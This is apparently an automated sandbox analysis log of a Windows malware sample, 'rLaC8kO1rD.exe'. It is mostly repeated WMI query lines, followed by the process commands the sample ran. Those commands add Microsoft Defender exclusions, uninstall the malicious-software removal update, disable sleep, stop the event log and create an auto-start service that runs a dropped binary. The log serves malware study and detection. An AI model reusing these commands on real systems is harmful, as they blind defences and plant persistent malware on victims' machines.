            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Windows\explorer.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name=&quot;csrss.exe&quot;
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: rLaC8kO1rD.exeReversingLabs: Detection: 60%
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeFile read: C:\Users\user\Desktop\rLaC8kO1rD.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\rLaC8kO1rD.exe "C:\Users\user\Desktop\rLaC8kO1rD.exe"
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "NTBMNINC"
            Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "NTBMNINC" binpath= "C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exe" start= "auto"
            Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "NTBMNINC"
            Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: unknownProcess created: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exe C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exe
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
            Source: C:\Windows\System32\powercfg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\explorer.exe explorer.exe
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0Jump to behavior
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0Jump to behavior
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "NTBMNINC"Jump to behavior
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "NTBMNINC" binpath= "C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exe" start= "auto"Jump to behavior
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlogJump to behavior
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "NTBMNINC"Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0Jump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0Jump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exeJump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\explorer.exe explorer.exeJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
